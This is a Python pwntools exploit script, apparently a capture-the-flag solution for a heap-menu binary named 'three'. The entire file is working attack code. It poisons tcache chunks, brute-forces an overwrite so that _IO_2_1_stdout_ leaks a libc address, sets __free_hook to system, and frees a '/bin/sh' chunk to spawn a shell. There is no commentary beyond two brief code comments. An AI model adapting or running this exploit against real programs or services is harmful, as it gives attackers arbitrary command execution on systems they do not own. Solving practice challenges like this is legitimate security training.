from pwn import *

local=1
pc='./three'
remote_addr=['',0]
aslr=False
context.log_level=True

libc=ELF('./libc.so.6')

if local==1:
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x) 
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla("choice:",str(idx))

def add(content):
    choice(1)
    sa("content:",content)

def edit(idx,content):
    choice(2)
    sla("idx:",str(idx))
    sa("content:",content)

def free(idx,c):
    choice(3)
    sla(":",str(idx))
    sla(":",c)

if __name__ == '__main__':

    add("123")
    add(p64(0x11)*8)
    free(1,'y')
    free(0,'n')
    edit(0,p8(0x50))
    add('123')
    add(p64(0))
    free(1,'n')
    edit(2,p64(0)+p64(0x91))
    for i in range(0x7):
        free(1,'n')
    edit(2,p64(0)+p64(0x51))
    free(0,'y')
    edit(2,p64(0)+p64(0x91))
    free(1,'y')
    
    # Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
    edit(2,p64(0)+p64(0x51)+p16(0x7760)) 
    add("123")
    
    # Modify the flag and the write pointers
    add(p64(0xfbad3c80)+p64(0)*3+p8(0))
    rv(8)
    libc_addr=raddr()-0x3ed8b0
    lg("libc",libc_addr)
    libc.address=libc_addr
    ru("Done")
    free(0,'y')
    edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
    add("123")
    edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
    free(0,'y')
    add(p64(libc.symbols['system']))
    edit(2,'/bin/sh\x00')
    choice(3)
    sla(":",str(2))
    p.interactive()
